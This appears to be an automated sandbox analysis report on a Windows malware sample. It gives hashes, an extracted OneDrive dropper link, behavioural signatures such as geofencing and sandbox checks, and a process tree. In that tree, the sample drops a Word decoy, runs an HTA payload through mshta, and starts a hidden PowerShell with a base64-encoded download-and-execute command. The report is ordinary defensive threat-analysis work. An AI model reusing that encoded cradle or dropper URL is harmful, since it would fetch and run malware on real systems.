Analysis
- max time kernel
102s - max time network
110s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
13/06/2024, 01:22
General
- Target a3583c9b2b0482d19d63baa128d05d74_JaffaCakes118.exe
- Size 358KB
- Sample240613-brnpnsyfpg
- SHA256 2fd8faefcb4ee0994cf43097fbed2e71bf3e7c750f149794e46644607b0f014b
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://onedrive.live.com/download?cid=2E8B1C0AD01C16B2&resid=2E8B1C0AD01C16B2%21129&authkey=AC3fU3DAOj4gDVw
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a3583c9b2b0482d19d63baa128d05d74_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a3583c9b2b0482d19d63baa128d05d74_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\demo2.docx" /o ""2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\Payload.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy unrestricted -windowstyle hidden -enc SQBgAGUAWAAoACgAbgBFAGAAdwAtAE8AQgBqAGUAYABjAFQAIAAoACIAewAzAH0AewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAnAGUAYgBDAGwAJwAsACcAZQB0AC4AVwAnACwAJwBpAGUAbgB0ACcALAAnAE4AJwApACkALgAoACIAewAxAH0AewAwAH0AewA0AH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACcAbgBsACcALAAnAEQAbwB3ACcALAAnAGcAJwAsACcAcgBpAG4AJwAsACcAbwBhAGQAUwB0ACcAKQAuAEkAbgB2AG8AawBlACgAJwBoAHQAdABwAHMAOgAvAC8AbwBuAGUAZAByAGkAdgBlAC4AbABpAHYAZQAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAD8AYwBpAGQAPQAyAEUAOABCADEAQwAwAEEARAAwADEAQwAxADYAQgAyACYAcgBlAHMAaQBkAD0AMgBFADgAQgAxAEMAMABBAEQAMAAxAEMAMQA2AEIAMgAlADIAMQAxADIAOQAmAGEAdQB0AGgAawBlAHkAPQBBAEMAMwBmAFUAMwBEAEEATwBqADQAZwBEAFYAdwAnACkAKQA=3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Payload.hta
__PSScriptPolicyTest_z4yqr5pv.zsg.ps1
demo2.docx
ExcludeDictionaryEN0409.lex
memory/2444-47-0x0000000006430000-0x000000000647C000-memory.dmp
memory/2444-49-0x00000000068F0000-0x000000000690A000-memory.dmp
memory/2444-48-0x0000000007C30000-0x00000000082AA000-memory.dmp
memory/2444-46-0x00000000063E0000-0x00000000063FE000-memory.dmp
memory/2444-45-0x0000000005FE0000-0x0000000006334000-memory.dmp
memory/2444-35-0x0000000005DA0000-0x0000000005E06000-memory.dmp
memory/2444-34-0x0000000005D30000-0x0000000005D96000-memory.dmp
memory/2444-33-0x0000000005560000-0x0000000005582000-memory.dmp
memory/2444-32-0x0000000005700000-0x0000000005D28000-memory.dmp
memory/2444-31-0x0000000005090000-0x00000000050C6000-memory.dmp
memory/4528-16-0x00007FFCA8C20000-0x00007FFCA96E1000-memory.dmp
memory/4528-1-0x0000000000CE0000-0x0000000000D40000-memory.dmp
memory/4528-0-0x00007FFCA8C23000-0x00007FFCA8C25000-memory.dmp
memory/4528-2-0x00007FFCA8C20000-0x00007FFCA96E1000-memory.dmp
memory/4684-18-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-13-0x00007FFCC6CED000-0x00007FFCC6CEE000-memory.dmp
memory/4684-15-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-12-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-17-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp
memory/4684-14-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp
memory/4684-20-0x00007FFC848A0000-0x00007FFC848B0000-memory.dmp
memory/4684-21-0x00007FFC848A0000-0x00007FFC848B0000-memory.dmp
memory/4684-11-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-9-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-65-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp
memory/4684-86-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-87-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-85-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-88-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp
memory/4684-89-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp